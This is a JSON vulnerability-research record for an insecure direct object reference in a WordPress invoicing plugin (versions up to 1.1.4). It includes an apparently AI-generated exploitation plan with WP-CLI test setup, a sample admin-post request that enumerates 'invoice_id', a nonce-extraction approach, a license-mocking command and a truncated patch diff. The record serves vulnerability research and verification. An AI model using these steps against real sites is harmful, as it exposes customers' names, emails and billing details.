[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fWqdeV4plubQPt3jtBGalFi5QvM6frGITPmv_Hu5fJaI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-8611","klamra-paycal-for-aspaclaria-insecure-direct-object-reference-to-authenticated-subscriber-sensitive-information-exposure","Klamra Paycal for Aspaclaria \u003C= 1.1.4 - Insecure Direct Object Reference to Authenticated (Subscriber+) Sensitive Information Exposure via 'invoice_id' Parameter","The Klamra Paycal for Aspaclaria plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.1.4 via the 'invoice_id' parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to download arbitrary customer invoices by enumerating sequential post IDs, exposing sensitive billing PII including full name, email address, phone number, order total, line items, and customer notes belonging to other customers.","klamra-paycal-for-aspaclaria",null,"\u003C=1.1.4","1.1.5","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-06-05 14:28:53","2026-06-06 03:28:25",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb07dc6ff-f88d-4c5a-8cd5-7c20f1755ece?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fadmin.css","includes\u002FAdmin\u002FPage_Connector.php","includes\u002FAdmin\u002FPage_Dashboard.php","includes\u002FAdmin\u002FPage_Invoices.php","includes\u002FAdmin\u002FPage_License.php","includes\u002FAdmin\u002FPage_Wizard.php","includes\u002FConnector\u002FSyncClient.php","includes\u002FLicensing\u002FGate.php","researched",false,3,"# Research Plan: CVE-2026-8611 - IDOR in Klamra Paycal for Aspaclaria\n\n## 1. Vulnerability Summary\nThe **Klamra Paycal for Aspaclaria** plugin (versions \u003C= 1.1.4) is vulnerable to an **Insecure Direct Object Reference (IDOR)**. The vulnerability exists because the plugin fails to perform adequate authorization checks when a user requests a customer invoice via the `invoice_id` parameter. While the system may check if a user is authenticated (Subscriber level or higher), it does not verify if the requesting user owns the invoice or has the necessary administrative privileges to view arbitrary invoices. This allows any authenticated user to enumerate sequential Post IDs and download sensitive billing PII belonging to other customers.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** Likely `wp-admin\u002Fadmin-post.php` (for downloads) or `wp-admin\u002Fadmin-ajax.php`. Alternatively, it could be a custom handler on `init`.\n*   **Action Name:** Likely `paycal_download_invoice` or `paycal_view_invoice` (inferred from plugin naming conventions).\n*   **Vulnerable Parameter:** `invoice_id` (passed via `GET` or `POST`).\n*   **Authentication:** Required (Subscriber role is sufficient).\n*   **Preconditions:** The \"Invoices\" module must be active (controllable via licensing, but often bypassable or active in test environments).\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** An authenticated user sends a request to a handler (e.g., `admin-post.php?action=paycal_download_invoice&invoice_id=123`).\n2.  **Authorization Check:** The plugin calls a check like `is_user_logged_in()` or `Access::enforce('invoices')`.\n3.  **Vulnerable Logic:**\n    *   The handler retrieves the `invoice_id` from `$_GET` or `$_POST`.\n    *   It fetches the invoice object (likely a Custom Post Type) using `get_post($invoice_id)`.\n    *   **Crucial Missing Step:** The code fails to compare the invoice's owner (e.g., `post_author` or a specific meta field like `_customer_user`) with the current user's ID (`get_current_user_id()`).\n4.  **Sink:** The plugin outputs the invoice data (PII, order totals, etc.) to the browser.\n\n## 4. Nonce Acquisition Strategy\nBased on the description of \"enumeration,\" it is highly probable that the endpoint either **lacks a nonce check** or uses a **generic nonce** available to all logged-in users.\n\nIf a nonce is required:\n1.  **Identify the Source:** Search for where the plugin localizes script data for invoices.\n    *   `grep -r \"wp_localize_script\" .`\n2.  **Localized Variable:** Look for keys like `paycal_invoice_vars` or `paycal_admin`.\n3.  **Acquisition:**\n    *   Create a page with a PayCal shortcode if necessary: `wp post create --post_type=page --post_status=publish --post_content='[paycal_invoices]'`\n    *   Navigate to the dashboard or the created page as a Subscriber.\n    *   Use `browser_eval` to extract the nonce: `window.paycal_vars?.download_nonce`.\n\n## 5. Exploitation Strategy\n\n### Step 1: Discover the Endpoint and CPT\nFirst, identify the exact action name and the Custom Post Type (CPT) name for invoices.\n```bash\n# Find the CPT name\ngrep -r \"register_post_type\" .\n# Find the handler for invoice_id\ngrep -r \"invoice_id\" .\n```\n\n### Step 2: Test Data Setup\nCreate two users and an invoice belonging to the admin.\n```bash\n# Create a Subscriber (Attacker)\nwp user create attacker attacker@example.com --role=subscriber --user_pass=password\n\n# Create an Admin (Victim)\nwp user create victim victim@example.com --role=administrator --user_pass=password\n\n# Create a dummy \"Invoice\" post (assuming CPT is 'paycal_invoice')\n# If the CPT name differs, adjust accordingly.\nINVOICE_ID=$(wp post create --post_type=paycal_invoice --post_title=\"Victim Invoice #1001\" --post_author=$(wp user get victim --field=ID) --porcelain)\n\n# Add dummy PII to the invoice meta\nwp post meta add $INVOICE_ID \"_billing_first_name\" \"John\"\nwp post meta add $INVOICE_ID \"_billing_last_name\" \"Doe\"\nwp post meta add $INVOICE_ID \"_billing_email\" \"john.doe@private.com\"\n```\n\n### Step 3: Execute IDOR Attack\nUsing the `http_request` tool, log in as the Subscriber and attempt to access the Admin's invoice.\n\n**Action (Inferred):** `paycal_download_invoice`\n**Request:**\n```http\nGET \u002Fwp-admin\u002Fadmin-post.php?action=paycal_download_invoice&invoice_id=[INVOICE_ID] HTTP\u002F1.1\nHost: localhost:8080\nCookie: [Subscriber Cookies]\n```\n\n## 6. Test Data Setup (Detailed)\n1.  **Plugin Activation:** Ensure the plugin is active.\n2.  **Licensing Gate:** If `Gate::has('invoices')` returns false, the UI might be blocked, but the `admin-post` handler might still execute. If necessary, mock the license:\n    ```bash\n    wp option update paycal_license_data '{\"valid\":true,\"modules\":[\"invoices\"],\"expires_at\":\"2030-01-01\"}'\n    ```\n3.  **Target Content:** Ensure the `paycal_invoice` (or correct CPT) exists with an ID identifiable via WP-CLI.\n\n## 7. Expected Results\n*   **Successful Exploitation:** The server returns a `200 OK` response containing the details of the invoice created by the Admin (John Doe, email, etc.), despite the request being made by a Subscriber.\n*   **Vulnerability Confirmation:** The response content matches the PII stored in the `victim` invoice.\n\n## 8. Verification Steps\n1.  Check the response body of the `http_request` for the strings: `\"John\"`, `\"Doe\"`, and `\"john.doe@private.com\"`.\n2.  Verify the ID of the invoice being viewed belongs to the Admin user:\n    ```bash\n    wp post get [INVOICE_ID] --field=post_author\n    # Confirm this ID matches the Victim user ID, not the Attacker user ID.\n    ```\n\n## 9. Alternative Approaches\n*   **AJAX Endpoint:** If `admin-post.php` is not the target, check `wp-admin\u002Fadmin-ajax.php?action=paycal_get_invoice_data&invoice_id=[ID]`.\n*   **Rest API:** Check if the plugin registers a REST route in `includes\u002FAdmin\u002Fclass-rest.php` (if exists) via `register_rest_route`.\n*   **Shortcode IDOR:** Check if a shortcode like `[paycal_invoice id=\"123\"]` renders private info on the frontend when accessed by a subscriber.","The Klamra Paycal for Aspaclaria plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the 'invoice_id' parameter in versions up to 1.1.4. This allows authenticated attackers with subscriber-level access to download arbitrary customer invoices by enumerating sequential post IDs, leading to the exposure of sensitive personal identifiable information (PII) and billing data.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fklamra-paycal-for-aspaclaria\u002F1.1.4\u002Fassets\u002Fadmin.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fklamra-paycal-for-aspaclaria\u002F1.1.5\u002Fassets\u002Fadmin.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fklamra-paycal-for-aspaclaria\u002F1.1.4\u002Fassets\u002Fadmin.css\t2026-05-28 13:12:50.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fklamra-paycal-for-aspaclaria\u002F1.1.5\u002Fassets\u002Fadmin.css\t2026-05-30 21:20:06.000000000 +0000\n@@ -13,6 +13,261 @@\n \n .paycal-wrap{ color:var(--paycal-text); }\n \n+.paycal-wrap .notice,\n+.paycal-wrap div.notice,\n+.paycal-wrap .notice p{\n+  color:#111827 !important;\n+}\n+...\n+diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fklamra-paycal-for-aspaclaria\u002F1.1.4\u002Fincludes\u002FAdmin\u002FPage_Dashboard.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fklamra-paycal-for-aspaclaria\u002F1.1.5\u002Fincludes\u002FAdmin\u002FPage_Dashboard.php\n+--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fklamra-paycal-for-aspaclaria\u002F1.1.4\u002Fincludes\u002FAdmin\u002FPage_Dashboard.php\t2026-05-28 13:12:50.000000000 +0000\n++++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fklamra-paycal-for-aspaclaria\u002F1.1.5\u002Fincludes\u002FAdmin\u002FPage_Dashboard.php\t2026-05-30 21:20:06.000000000 +0000\n+@@ -14,10 +14,13 @@\n+     $data = LicenseStore::get();\n+     $mods = array_values(array_filter((array) ($data['modules'] ?? [])));\n+     $license_label = Gate::status_label();\n+-    $license_active = strtolower((string) $license_label) !== 'no license';\n++    $license_active = !empty($data['valid']);\n++    $license_in_grace = $license_label === 'Grace period';\n++    $license_display = $license_active || $license_in_grace ? $license_label : 'לא מחובר';\n+ \n+     $bit_enabled = Gate::has('bit');\n+-    $invoices_enabled = Gate::has('invoices');\n++    $invoice_settings = get_option('paycal_invoice_settings', []);\n++    $invoices_enabled = !is_array($invoice_settings) || !isset($invoice_settings['enabled']) || (string) $invoice_settings['enabled'] === 'yes';\n+ \n+     $bit_pending_count = 0;\n+     if (class_exists('\\\\WooCommerce') && $bit_enabled && function_exists('wc_get_orders')) {\n... (truncated)","1. Authenticate to the WordPress site with a user account possessing Subscriber-level privileges or higher.\n2. Locate the invoice download endpoint, which typically handles requests via a parameter like 'invoice_id' (e.g., through an admin-post.php or admin-ajax.php action).\n3. Send a request to the identified endpoint while providing an 'invoice_id' that belongs to another user's invoice.\n4. Observe that the plugin responds with the full content of the requested invoice—including the customer's full name, email, phone number, and order details—because it fails to check if the current user owns the resource or has administrative rights.","gemini-3-flash-preview","2026-06-26 03:06:11","2026-06-26 03:06:47",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.1.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fklamra-paycal-for-aspaclaria\u002Ftags\u002F1.1.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fklamra-paycal-for-aspaclaria.1.1.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fklamra-paycal-for-aspaclaria\u002Ftags\u002F1.1.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fklamra-paycal-for-aspaclaria.1.1.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fklamra-paycal-for-aspaclaria\u002Ftags"]